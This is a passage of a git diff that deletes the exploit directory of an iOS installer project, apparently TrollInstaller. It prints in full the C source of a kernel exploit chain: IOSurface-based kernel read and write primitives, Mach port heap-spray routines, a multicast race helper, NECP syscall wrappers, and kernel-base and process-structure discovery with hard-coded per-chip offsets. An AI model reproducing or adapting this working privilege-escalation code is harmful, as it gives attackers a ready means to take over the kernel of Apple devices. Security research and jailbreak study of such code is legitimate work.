- - // test kernel r/w, read kernel base - uint32_t mh_magic = kread32(kernel_base); - if (mh_magic != 0xFEEDFACF) - { - printf("mh_magic != 0xFEEDFACF: %08X\n", mh_magic); - return 1; - } - - printf("kread32(_kernel_base) success: %08X\n", mh_magic); - - printf("Done\n"); - - return 0; -} diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/exploit.h b/Installer/TrollInstaller/TrollInstaller/exploit/exploit.h deleted file mode 100644 index b38c75b..0000000 --- a/Installer/TrollInstaller/TrollInstaller/exploit/exploit.h +++ /dev/null @@ -1,9 +0,0 @@ -#ifndef __EXPLOIT_H__ -#define __EXPLOIT_H__ - -#include - -int exploit_get_krw_and_kernel_base(uint64_t *kernel_base); -void exploitation_cleanup(void); - -#endif diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/iokit.h b/Installer/TrollInstaller/TrollInstaller/exploit/iokit.h deleted file mode 100644 index 6a0e15d..0000000 --- a/Installer/TrollInstaller/TrollInstaller/exploit/iokit.h +++ /dev/null @@ -1,120 +0,0 @@ -// Credits: Siguza -// https://github.com/Siguza/iokit-utils/blob/master/src/iokit.h -#ifndef IOKIT_H -#define IOKIT_H - -#include -#include -#include - -typedef char io_name_t[128]; -typedef char io_string_t[512]; -typedef char io_struct_inband_t[4096]; -typedef mach_port_t io_object_t; -typedef io_object_t io_registry_entry_t; -typedef io_object_t io_service_t; -typedef io_object_t io_connect_t; -typedef io_object_t io_iterator_t; - -enum -{ - kIOCFSerializeToBinary = 0x00000001U, -}; - -enum -{ - kIOClassNameOverrideNone = 0x00000001U, -}; - -enum -{ - kIOMapAnywhere = 0x00000001U, -}; - -enum -{ - kIORegistryIterateRecursively = 0x00000001U, - kIORegistryIterateParents = 0x00000002U, -}; - -enum -{ - kOSSerializeDictionary = 0x01000000U, - kOSSerializeArray = 0x02000000U, - kOSSerializeSet = 0x03000000U, - kOSSerializeNumber = 0x04000000U, - kOSSerializeSymbol = 0x08000000U, - kOSSerializeString = 0x09000000U, - kOSSerializeData = 0x0a000000U, - kOSSerializeBoolean = 0x0b000000U, - kOSSerializeObject = 0x0c000000U, - - kOSSerializeTypeMask = 0x7F000000U, - kOSSerializeDataMask = 0x00FFFFFFU, - - kOSSerializeEndCollection = 0x80000000U, - - kOSSerializeMagic = 0x000000d3U, -}; - -extern const mach_port_t kIOMasterPortDefault; - -CF_RETURNS_RETAINED CFDataRef IOCFSerialize(CFTypeRef object, CFOptionFlags options); -CFTypeRef IOCFUnserializeWithSize(const char *buf, size_t len, CFAllocatorRef allocator, CFOptionFlags options, CFStringRef *err); - -kern_return_t IOObjectRetain(io_object_t object); -kern_return_t IOObjectRelease(io_object_t object); -boolean_t IOObjectConformsTo(io_object_t object, const io_name_t name); -uint32_t IOObjectGetKernelRetainCount(io_object_t object); -kern_return_t IOObjectGetClass(io_object_t object, io_name_t name); -kern_return_t _IOObjectGetClass(io_object_t object, uint64_t options, io_name_t name); -CFStringRef IOObjectCopyClass(io_object_t object); -CFStringRef _IOObjectCopyClass(io_object_t object, uint64_t options); -CFStringRef IOObjectCopySuperclassForClass(CFStringRef name); -CFStringRef IOObjectCopyBundleIdentifierForClass(CFStringRef name); - -io_registry_entry_t IORegistryGetRootEntry(mach_port_t master); -io_registry_entry_t IORegistryEntryFromPath(mach_port_t master, const io_string_t path); -kern_return_t IORegistryEntryGetName(io_registry_entry_t entry, io_name_t name); -kern_return_t IORegistryEntryGetRegistryEntryID(io_registry_entry_t entry, uint64_t *entryID); -kern_return_t IORegistryEntryGetPath(io_registry_entry_t entry, const io_name_t plane, io_string_t path); -kern_return_t IORegistryEntryGetProperty(io_registry_entry_t entry, const io_name_t name, io_struct_inband_t buffer, uint32_t *size); -kern_return_t IORegistryEntryCreateCFProperties(io_registry_entry_t entry, CFMutableDictionaryRef *properties, CFAllocatorRef allocator, uint32_t options); -CFTypeRef IORegistryEntryCreateCFProperty(io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, uint32_t options); -kern_return_t IORegistryEntrySetCFProperties(io_registry_entry_t entry, CFTypeRef properties); - -kern_return_t IORegistryCreateIterator(mach_port_t master, const io_name_t plane, uint32_t options, io_iterator_t *it); -kern_return_t IORegistryEntryCreateIterator(io_registry_entry_t entry, const io_name_t plane, uint32_t options, io_iterator_t *it); -kern_return_t IORegistryEntryGetChildIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it); -kern_return_t IORegistryEntryGetParentIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it); -io_object_t IOIteratorNext(io_iterator_t it); -boolean_t IOIteratorIsValid(io_iterator_t it); -void IOIteratorReset(io_iterator_t it); - -CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED; -CFMutableDictionaryRef IOServiceNameMatching(const char *name) CF_RETURNS_RETAINED; -io_service_t IOServiceGetMatchingService(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT); -kern_return_t IOServiceGetMatchingServices(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT, io_iterator_t *it); -kern_return_t _IOServiceGetAuthorizationID(io_service_t service, uint64_t *authID); -kern_return_t _IOServiceSetAuthorizationID(io_service_t service, uint64_t authID); -kern_return_t IOServiceGetBusyStateAndTime(io_service_t service, uint64_t *state, uint32_t *busyState, uint64_t *busyTime); -kern_return_t IOServiceOpen(io_service_t service, task_t task, uint32_t type, io_connect_t *client); -kern_return_t IOServiceClose(io_connect_t client); -kern_return_t IOCloseConnection(io_connect_t client); -kern_return_t IOConnectAddRef(io_connect_t client); -kern_return_t IOConnectRelease(io_connect_t client); -kern_return_t IOConnectGetService(io_connect_t client, io_service_t *service); -kern_return_t IOConnectAddClient(io_connect_t client, io_connect_t other); -kern_return_t IOConnectSetNotificationPort(io_connect_t client, uint32_t type, mach_port_t port, uintptr_t ref); -kern_return_t IOConnectMapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t *addr, mach_vm_size_t *size, uint32_t options); -kern_return_t IOConnectUnmapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t addr); -kern_return_t IOConnectSetCFProperties(io_connect_t client, CFTypeRef properties); -kern_return_t IOConnectCallMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt); -kern_return_t IOConnectCallScalarMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt); -kern_return_t IOConnectCallStructMethod(io_connect_t client, uint32_t selector, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt); -kern_return_t IOConnectCallAsyncMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt); -kern_return_t IOConnectCallAsyncScalarMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt); -kern_return_t IOConnectCallAsyncStructMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt); -kern_return_t IOConnectTrap6(io_connect_t client, uint32_t index, uintptr_t a, uintptr_t b, uintptr_t c, uintptr_t d, uintptr_t e, uintptr_t f); - -#endif diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/kernel_base.c b/Installer/TrollInstaller/TrollInstaller/exploit/kernel_base.c deleted file mode 100644 index 4d67ec7..0000000 --- a/Installer/TrollInstaller/TrollInstaller/exploit/kernel_base.c +++ /dev/null @@ -1,98 +0,0 @@ -#include "kernel_base.h" - -#include "kernel_rw.h" -#include "port_utils.h" -#include "spray.h" -#include "xpaci.h" // ptrauth.h replacement - -#include -#include -#include -#include -#include -#import - -extern void badLog(const char*, ...); - -uint64_t g_self_proc = 0; - -#pragma clang diagnostic ignored "-Wdeprecated-declarations" // syscall - -uint64_t kernel_base_from_holder(mach_port_t holder, uint64_t holder_addr) -{ - uint64_t kernel_base = 0; - const int receive_size = 0x10000; // Doesn't really matter - const int data_kalloc_size = 0x50; // Doesn't really matter - uint8_t *buf = calloc(1, receive_size); - mach_port_t fileport = MACH_PORT_NULL; - - // read out port pointer - uint64_t port_addr = kread64(holder_addr + 8); - - - - // init fileport - int sock = socket(AF_INET, SOCK_DGRAM, 0); - syscall(SYS_fileport_makeport, sock, &fileport); - - // send new message contaning port - port_receive_msg(holder, buf, receive_size); - spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(sizeof(void *), &fileport, data_kalloc_size, holder); - - // read kernel text pointer fops - uint64_t kmsg = kread64(port_addr + 0x30); - uint64_t ikm_header = xpaci(kread64(kmsg + 0x18)); - uint64_t oolp_array = kread64(ikm_header + 0x24); - uint64_t oolp = kread64(oolp_array); - uint64_t kobject = xpaci(kread64(oolp + 0x58)); - uint64_t fops = kread64(kobject + 0x28); - - uint64_t x68 = xpaci(kread64(kmsg + 0x68)); - uint64_t self_ipc_space = xpaci(kread64(x68 + 0x50)); - uint64_t self_task = xpaci(kread64(self_ipc_space + 0x30)); - - struct utsname u; - uname(&u); - uint64_t off_task_bsd_info; - -#if __arm64e__ - cpu_subtype_t cpuFamily = 0; - size_t cpuFamilySize = sizeof(cpuFamily); - sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0); - - bool isA15OrNewer; - if (cpuFamily == CPUFAMILY_ARM_BLIZZARD_AVALANCHE) { - isA15OrNewer = true; - } - else { - isA15OrNewer = false; - } - - if (isA15OrNewer) - { - off_task_bsd_info = 0x3c8; // ios15.1 a15 // proc_t::task_bsd_info - } - else - { - off_task_bsd_info = 0x3b8; //; iOS15.1 a12-a14 // proc_t::task_bsd_info - } -#else - off_task_bsd_info = 0x3A0; // a9-a11 -#endif - - g_self_proc = xpaci(kread64(self_task + off_task_bsd_info)); - - // find kernel base - uint64_t pos = (fops & ~0x3FFF); - do - { - pos -= 0x4000; - } while (kread32(pos) != 0xFEEDFACF); - kernel_base = pos; - - // cleanup - close(sock); - port_deallocate_n(&fileport, 1); - - return kernel_base; -} diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/kernel_base.h b/Installer/TrollInstaller/TrollInstaller/exploit/kernel_base.h deleted file mode 100644 index 6f50847..0000000 --- a/Installer/TrollInstaller/TrollInstaller/exploit/kernel_base.h +++ /dev/null @@ -1,9 +0,0 @@ -#ifndef __KERNEL_BASE_H__ -#define __KERNEL_BASE_H__ - -#include -#include - -uint64_t kernel_base_from_holder(mach_port_t holder, uint64_t holder_addr); - -#endif diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/kernel_rw.c b/Installer/TrollInstaller/TrollInstaller/exploit/kernel_rw.c deleted file mode 100644 index 1f811e9..0000000 --- a/Installer/TrollInstaller/TrollInstaller/exploit/kernel_rw.c +++ /dev/null @@ -1,75 +0,0 @@ -#include "kernel_rw.h" - -#include "IOSurfaceRoot.h" - -static io_connect_t _uc; -static uint32_t _surf_id; -static int _read_pipe; -static int _write_pipe; -static uint64_t _mapped_address; - -void kernel_rw_preinit(uint64_t kaddr, uint8_t *buf, size_t n) -{ - memset(buf, 0x07, n); - - *(uint64_t *)(buf + 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface - *(uint64_t *)(buf + 0x10 + 0xB0) = 1; // See IOSurface::setCompressedTileDataRegionMemoryUsedOfPlane - *(uint64_t *)(buf + 0x10 + 0xC0 + 0x18) = kaddr + 0x20 - 0xA0; // Write destination (+0xA0 added) - - _mapped_address = kaddr; -} - -int kernel_rw_init(io_connect_t uc, uint32_t surf_id, int read_pipe, int write_pipe) -{ - _uc = uc; - _surf_id = surf_id; - _read_pipe = read_pipe; - _write_pipe = write_pipe; - - return 0; -} - -uint32_t kread32(uint64_t kaddr) -{ - uint8_t buf[KERNEL_RW_SIZE_FAKE_ARRAY]; - - read(_read_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1); - - *(uint64_t *)(buf+ 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface - *(uint64_t *)(buf+ 0x10 + 0xC0 ) = kaddr - 0x14; // Write destination (+0xA0 added) - - write(_write_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1); - - return IOSurfaceRoot_get_surface_use_count(_uc, _surf_id); -} - -uint64_t kread64(uint64_t kaddr) -{ - uint8_t b[8]; - - *(uint32_t *)b = kread32(kaddr); - *(uint32_t *)(b + 4) = kread32(kaddr + 4); - - return *(uint64_t *)b; -} - -void kwrite32(uint64_t kaddr, uint32_t val) -{ - uint8_t buf[KERNEL_RW_SIZE_FAKE_ARRAY]; - - read(_read_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1); - - *(uint64_t *)(buf + 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface - *(uint64_t *)(buf + 0x10 + 0xB0) = 1; // See IOSurface::setCompressedTileDataRegionMemoryUsedOfPlane - *(uint64_t *)(buf + 0x10 + 0xC0) = kaddr - 0xA0; // Write destination (+0xA0 added) - - write(_write_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1); - - IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(_uc, _surf_id, val); -} - -void kwrite64(uint64_t kaddr, uint64_t val) -{ - kwrite32(kaddr, (uint32_t)val); - kwrite32(kaddr + 4, (uint32_t)(val >> 32)); -} diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/kernel_rw.h b/Installer/TrollInstaller/TrollInstaller/exploit/kernel_rw.h deleted file mode 100644 index 36da64a..0000000 --- a/Installer/TrollInstaller/TrollInstaller/exploit/kernel_rw.h +++ /dev/null @@ -1,18 +0,0 @@ -#ifndef __KERNEL_RW_H__ -#define __KERNEL_RW_H__ - -#define KERNEL_RW_SIZE_FAKE_ARRAY 0x4000 - -#include "iokit.h" - -void kernel_rw_preinit(uint64_t kaddr, uint8_t *buf, size_t n); -int kernel_rw_init(io_connect_t uc, uint32_t surf_id, int read_pipe, int write_pipe); - -uint32_t kread32(uint64_t kaddr); -uint64_t kread64(uint64_t kaddr); - -void kwrite32(uint64_t kaddr, uint32_t val); -void kwrite64(uint64_t kaddr, uint64_t val); - -#endif - diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/mcast.c b/Installer/TrollInstaller/TrollInstaller/exploit/mcast.c deleted file mode 100644 index 2357f09..0000000 --- a/Installer/TrollInstaller/TrollInstaller/exploit/mcast.c +++ /dev/null @@ -1,55 +0,0 @@ -#include "mcast.h" - -#include -#include -#include -#include - -int mcast_race_sock; - -int mcast_join_group(int ip) -{ - struct group_req mreq = { 0 }; - struct sockaddr_in6 sin6 = {0}; - - mreq.gr_interface = 1; - - sin6.sin6_len = sizeof(sin6); - sin6.sin6_family = AF_INET6; - sin6.sin6_port = 7878; - sin6.sin6_addr.__u6_addr.__u6_addr32[3] = 0; - sin6.sin6_addr.__u6_addr.__u6_addr32[2] = 0; - sin6.sin6_addr.__u6_addr.__u6_addr32[1] = ip; - sin6.sin6_addr.__u6_addr.__u6_addr32[0] = (htonl(0xFF000000)); - - memcpy(&mreq.gr_group, &sin6, sizeof(sin6)); - - mreq.gr_interface = 1; - - return setsockopt(mcast_race_sock, IPPROTO_IPV6, MCAST_JOIN_GROUP, &mreq, sizeof(mreq)); -} - -void mcast_increase_race_reliability(void) -{ - struct group_req mreq = { 0 }; - struct sockaddr_in6 sin6 = {0}; - int s = socket(AF_INET6, SOCK_DGRAM, 0); - - mreq.gr_interface = 1; - - sin6.sin6_len = sizeof(sin6); - sin6.sin6_family = AF_INET6; - sin6.sin6_port = 7878; - sin6.sin6_addr.__u6_addr.__u6_addr32[3] = 0; - sin6.sin6_addr.__u6_addr.__u6_addr32[2] = 0; - sin6.sin6_addr.__u6_addr.__u6_addr32[1] = 0; - sin6.sin6_addr.__u6_addr.__u6_addr32[0] = (htonl(0xFF000000)); - - memcpy(&mreq.gr_group, &sin6, sizeof(sin6)); - - for (int i = 0; i < 3000; ++i) - { - ((struct sockaddr_in6 *)(&mreq.gr_group))->sin6_addr.__u6_addr.__u6_addr32[1] = i + (3000 * 3000); - setsockopt(s, IPPROTO_IPV6, MCAST_JOIN_GROUP, &mreq, sizeof(mreq)); - } -} diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/mcast.h b/Installer/TrollInstaller/TrollInstaller/exploit/mcast.h deleted file mode 100644 index b87e837..0000000 --- a/Installer/TrollInstaller/TrollInstaller/exploit/mcast.h +++ /dev/null @@ -1,9 +0,0 @@ -#ifndef __MCAST_H__ -#define __MCAST_H__ - -extern int mcast_race_sock; - -void mcast_increase_race_reliability(void); -int mcast_join_group(int ip); - -#endif diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/necp.c b/Installer/TrollInstaller/TrollInstaller/exploit/necp.c deleted file mode 100644 index 233b922..0000000 --- a/Installer/TrollInstaller/TrollInstaller/exploit/necp.c +++ /dev/null @@ -1,16 +0,0 @@ -#include "necp.h" - -#include -#include - -#pragma clang diagnostic ignored "-Wdeprecated-declarations" - -int necp_open(int flags) -{ - return syscall(SYS_necp_open, flags); -} - -int necp_client_action(int necp_fd, uint32_t action, uint8_t *client_id, size_t client_id_len, uint8_t *buffer, size_t buffer_size) -{ - return syscall(SYS_necp_client_action, necp_fd, action, client_id, client_id_len, buffer, buffer_size); -} diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/necp.h b/Installer/TrollInstaller/TrollInstaller/exploit/necp.h deleted file mode 100644 index b407756..0000000 --- a/Installer/TrollInstaller/TrollInstaller/exploit/necp.h +++ /dev/null @@ -1,10 +0,0 @@ -#ifndef __NECP_H__ -#define __NECP_H__ - -#include -#include - -int necp_open(int flags); -int necp_client_action(int necp_fd, uint32_t action, uint8_t *client_id, size_t client_id_len, uint8_t *buffer, size_t buffer_size); - -#endif diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/port_utils.c b/Installer/TrollInstaller/TrollInstaller/exploit/port_utils.c deleted file mode 100644 index 570899a..0000000 --- a/Installer/TrollInstaller/TrollInstaller/exploit/port_utils.c +++ /dev/null @@ -1,116 +0,0 @@ -#include "port_utils.h" - -#include -#include - -#pragma clang diagnostic ignored "-Wdeprecated-declarations" // mach_port_destroy - -mach_port_t port_new(void) -{ - mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT }; - mach_port_t port; - - mach_port_construct(mach_task_self(), &options, 0, &port); - - return port; -} - -void port_destroy(mach_port_t p) -{ - mach_port_destroy(mach_task_self(), p); -} - -void port_deallocate(mach_port_t p) -{ - mach_port_deallocate(mach_task_self(), p); -} - -void port_destroy_n(mach_port_t *p, unsigned int count) -{ - for (int i = 0; i < count; ++i) - { - mach_port_destroy(mach_task_self(), p[i]); - p[i] = 0; - } -} - -void port_deallocate_n(mach_port_t *p, unsigned int count) -{ - for (int i = 0; i < count; ++i) - { - mach_port_deallocate(mach_task_self(), p[i]); - } -} - -int port_has_msg(mach_port_t p) -{ - mach_msg_header_t msg = { 0 }; - - mach_msg(&msg, MACH_RCV_LARGE | MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, 0x10, p, 0, 0); - - return msg.msgh_size; -} - -int port_peek_trailer_size(mach_port_t p) -{ - mach_port_seqno_t msg_seqno = 0; - mach_msg_size_t msg_size = 0; - mach_msg_id_t msg_id = 0; - mach_msg_trailer_t msg_trailer; - mach_msg_type_number_t msg_trailer_size = sizeof(msg_trailer); - - mach_port_peek(mach_task_self(), - p, - MACH_RCV_TRAILER_NULL, - &msg_seqno, - &msg_size, - &msg_id, - (mach_msg_trailer_info_t)&msg_trailer, - &msg_trailer_size); - - return msg_trailer.msgh_trailer_size; -} - -void port_receive_msg(mach_port_t p, uint8_t *buf, unsigned int n) -{ - mach_msg((mach_msg_header_t *)buf, - MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE, - 0, - n, - p, - 0, - 0); -} - -void port_receive_msg_n(mach_port_t *p, unsigned int count) -{ - uint8_t buf[0x1000]; - - for (int i = 0; i < count; ++i) - { - port_receive_msg(p[i], buf, 8); - } -} - -void port_receive_msg_all_n(mach_port_t *p, unsigned int count) -{ - uint8_t buf[0x1000]; - - for (int i = 0; i < count; ++i) - { - do - { - port_receive_msg(p[i], buf, 8); - } while (port_has_msg(p[i])); - } -} - -void port_receive_msg_and_deallocate_n(mach_port_t *p, unsigned int count) -{ - port_receive_msg_n(p, count); - port_deallocate_n(p, count); - for (int i = 0; i < count; ++i) - { - p[i] = MACH_PORT_NULL; - } -} diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/port_utils.h b/Installer/TrollInstaller/TrollInstaller/exploit/port_utils.h deleted file mode 100644 index 0740779..0000000 --- a/Installer/TrollInstaller/TrollInstaller/exploit/port_utils.h +++ /dev/null @@ -1,22 +0,0 @@ -#ifndef __PORT_UTILS_H__ -#define __PORT_UTILS_H__ - -#include - -mach_port_t port_new(void); - -void port_destroy(mach_port_t p); -void port_deallocate(mach_port_t p); - -void port_destroy_n(mach_port_t *p, unsigned int count); -void port_deallocate_n(mach_port_t *p, unsigned int count); - -int port_has_msg(mach_port_t p); -int port_peek_trailer_size(mach_port_t p); - -void port_receive_msg(mach_port_t p, uint8_t *buf, unsigned int size); -void port_receive_msg_n(mach_port_t *p, unsigned int count); - -void port_receive_msg_and_deallocate_n(mach_port_t *p, unsigned int count); - -#endif diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/spray.c b/Installer/TrollInstaller/TrollInstaller/exploit/spray.c deleted file mode 100644 index a464562..0000000 --- a/Installer/TrollInstaller/TrollInstaller/exploit/spray.c +++ /dev/null @@ -1,214 +0,0 @@ -#include "spray.h" - -#include "necp.h" - -#include -#include - -mach_port_t *spray_data_kalloc_kmsg(uint8_t *data, unsigned int size, unsigned int count) -{ - mach_port_t *ports = calloc(sizeof(mach_port_t), count); - mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT }; - mach_msg_header_t *msg = (mach_msg_header_t *)data; - - memset(msg, 0, sizeof(mach_msg_header_t)); - msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); - msg->msgh_size = size; - - for (unsigned int i = 0; i < count; ++i) - { - mach_port_construct(mach_task_self(), &options, 0, &ports[i]); - } - - for (unsigned int i = 0; i < count; ++i) - { - msg->msgh_remote_port = ports[i]; - msg->msgh_id = i; - mach_msg_send(msg); - } - - return ports; -} - -mach_port_t spray_data_kalloc_kmsg_single(uint8_t *data, unsigned int size) -{ - mach_port_t port = MACH_PORT_NULL; - mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT }; - mach_msg_header_t *msg = (mach_msg_header_t *)data; - - memset(msg, 0, sizeof(mach_msg_header_t)); - msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); - msg->msgh_size = size; - - mach_port_construct(mach_task_self(), &options, 0, &port); - - msg->msgh_remote_port = port; - mach_msg_send(msg); - - return port; -} - -void spray_data_kalloc_kmsg_on_ports(uint8_t *data, unsigned int size, unsigned int count, mach_port_t *ports) -{ - mach_msg_header_t *msg = (mach_msg_header_t *)data; - - memset(msg, 0, sizeof(mach_msg_header_t)); - msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); - msg->msgh_size = size; - //memcpy(msg + 1, data, size-sizeof(*msg)); - - for (unsigned int i = 0; i < count; ++i) - { - msg->msgh_remote_port = ports[i]; - msg->msgh_id = i; - mach_msg_send(msg); - } -} - - -mach_port_t *spray_data_kalloc_ool_descriptor(uint8_t *data, unsigned int size, unsigned int count) -{ - mach_port_t *ports = calloc(sizeof(mach_port_t), count); - mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT }; - mach_msg_header_t *msg = (mach_msg_header_t *)calloc(1, size); - - msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); - msg->msgh_size = size; - - for (unsigned int i = 0; i < count; ++i) - { - mach_port_construct(mach_task_self(), &options, 0, &ports[i]); - } - - for (unsigned int i = 0; i < count; ++i) - { - msg->msgh_remote_port = ports[i]; - mach_msg_send(msg); - } - - free(msg); - - return ports; -} - -mach_port_t *spray_default_kalloc_ool_ports(unsigned int size, unsigned int count, mach_port_t *ool_ports) -{ - return spray_default_kalloc_ool_ports_with_data_kalloc_size(size, count, ool_ports, 0x50); -} - -mach_port_t *spray_default_kalloc_ool_ports_with_data_kalloc_size(unsigned int size, unsigned int count, mach_port_t *ool_ports, unsigned int data_kalloc_size) -{ - struct default_msg - { - mach_msg_header_t hdr; - mach_msg_body_t body; - mach_msg_ool_ports_descriptor_t desc; - }; - - mach_port_t *ports = calloc(sizeof(mach_port_t), count); - mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT }; - struct default_msg *msg = (struct default_msg *)calloc(1, 0x100); - - msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); - msg->hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX; - msg->hdr.msgh_size = data_kalloc_size; - msg->body.msgh_descriptor_count = 1; - - msg->desc.deallocate = 0; - msg->desc.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; - msg->desc.copy = MACH_MSG_VIRTUAL_COPY; - msg->desc.disposition = MACH_MSG_TYPE_COPY_SEND; - msg->desc.count = size/8; - msg->desc.address = (void *)ool_ports; - - for (unsigned int i = 0; i < count; ++i) - { - mach_port_construct(mach_task_self(), &options, 0, &ports[i]); - } - - for (unsigned int i = 0; i < count; ++i) - { - msg->hdr.msgh_remote_port = ports[i]; - kern_return_t kr = mach_msg_send((mach_msg_header_t *)msg); - if (kr) { - *(int *)1 = 0; - } - } - - free(msg); - - return ports; -} - -void spray_default_kalloc_ool_ports_on_port(unsigned int size, unsigned int count, mach_port_t *ool_ports, mach_port_t p) -{ - spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(size, ool_ports, 0x50, p); -} - -void spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(unsigned int size, mach_port_t *ool_ports, unsigned int data_kalloc_size, mach_port_t p) -{ - struct default_msg - { - mach_msg_header_t hdr; - mach_msg_body_t body; - mach_msg_ool_ports_descriptor_t desc; - }; - - struct default_msg *msg = (struct default_msg *)calloc(1, 0x100); - - msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); - msg->hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX; - msg->hdr.msgh_size = data_kalloc_size; - msg->body.msgh_descriptor_count = 1; - - msg->desc.deallocate = 0; - msg->desc.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; - msg->desc.copy = MACH_MSG_VIRTUAL_COPY; - msg->desc.disposition = MACH_MSG_TYPE_COPY_SEND; - msg->desc.count = size/8; - msg->desc.address = (void *)ool_ports; - - msg->hdr.msgh_remote_port = p; - kern_return_t kr = mach_msg_send((mach_msg_header_t *)msg); - if (kr) { - *(int *)1 = 0; - } - - free(msg); -} - - -kern_return_t spray_kmsg_on_port(mach_port_t port, void *data, size_t size) -{ - mach_msg_base_t *msg = data; - msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); - msg->header.msgh_remote_port = port; - msg->header.msgh_size = (mach_msg_size_t)size; - - return mach_msg_send(&msg->header); -} - -mach_port_t *spray_ports_with_context(unsigned int count, uint64_t context) -{ - mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT }; - mach_port_t *ports = calloc(sizeof(mach_port_t), count); - - for (unsigned int i = 0; i < count; ++i) - { - mach_port_construct(mach_task_self(), &options, context, &ports[i]); - } - - return ports; -} - -mach_port_t *spray_ports(unsigned int count) -{ - return spray_ports_with_context(count, 0); -} - -int spray_default_kalloc_necp(int necp_fd, uint8_t *b, uint32_t sz) -{ - uint8_t if_id[0x10]; - return necp_client_action(necp_fd, 1, if_id, sizeof(if_id), b, sz); -} - diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/spray.h b/Installer/TrollInstaller/TrollInstaller/exploit/spray.h deleted file mode 100644 index c7724cf..0000000 --- a/Installer/TrollInstaller/TrollInstaller/exploit/spray.h +++ /dev/null @@ -1,23 +0,0 @@ -#ifndef __SPRAY_H__ -#define __SPRAY_H__ - -#include -#include - -mach_port_t spray_data_kalloc_kmsg_single(uint8_t *data, unsigned int size); -mach_port_t *spray_data_kalloc_kmsg(uint8_t *data, unsigned int size, unsigned int count); -void spray_data_kalloc_kmsg_on_ports(uint8_t *data, unsigned int size, unsigned int count, mach_port_t *ports); -mach_port_t *spray_default_kalloc_ool_ports(unsigned int size, unsigned int count, mach_port_t *ool_ports); -mach_port_t *spray_default_kalloc_ool_ports_with_data_kalloc_size(unsigned int size, unsigned int count, mach_port_t *ool_ports, unsigned int data_kalloc_size); - -void spray_default_kalloc_ool_ports_on_port(unsigned int size, unsigned int count, mach_port_t *ool_ports, mach_port_t p); -void spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(unsigned int size, mach_port_t *ool_ports, unsigned int data_kalloc_size, mach_port_t p); -int spray_default_kalloc_necp(int necp_fd, uint8_t *b, uint32_t sz); - -kern_return_t spray_kmsg_on_port(mach_port_t port, void *data, size_t size); - -mach_port_t *spray_ports(unsigned int count); -mach_port_t *spray_ports_with_context(unsigned int count, uint64_t context); - - -#endif diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/xpaci.h 